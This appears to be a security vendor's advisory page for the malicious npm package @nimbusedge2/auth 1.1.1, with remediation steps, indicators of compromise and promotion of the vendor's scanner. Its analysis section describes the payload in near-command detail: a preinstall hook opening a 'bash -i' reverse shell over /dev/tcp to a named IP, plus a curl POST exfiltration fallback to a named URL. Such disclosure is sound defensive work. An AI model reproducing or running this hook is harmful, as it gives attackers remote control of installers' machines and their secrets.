Which versions of @nimbusedge2/auth are malicious?

The following npm versions of @nimbusedge2/auth are flagged malicious: 1.1.1. Treat any of these as compromised.

How do I remediate @nimbusedge2/auth if I installed it?

@nimbusedge2/auth is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @nimbusedge2/auth — how do I know if it already compromised me?

If @nimbusedge2/auth was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @nimbusedge2/auth part of a known attack campaign?

Yes — @nimbusedge2/auth is associated with the IN-MAL-2026-020201 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nimbusedge2/auth across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @nimbusedge2/auth (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @nimbusedge2/auth across your stack and pipelines.

Malicious package

@nimbusedge2/authnpm

@nimbusedge2/auth is a confirmed malicious npm package (MAL-2026-16302) that steals credentials and exfiltrates sensitive data (malicious version 1.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nimbusedge2/auth (npm)

MAL-2026-16302

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @nimbusedge2/auth

What this malware does

@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through curl -s -m 5 -X POST --data-binary @- to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at npm install time.

Malicious versions

1 flagged

1.1.1

Indicators of compromise (SHA-256)

00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @nimbusedge2/auth (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @nimbusedge2/auth across your stack and pipelines.
If you installed it — respond
@nimbusedge2/auth is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @nimbusedge2/auth was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @nimbusedge2/auth before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @nimbusedge2/auth on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020201

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @nimbusedge2/auth-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database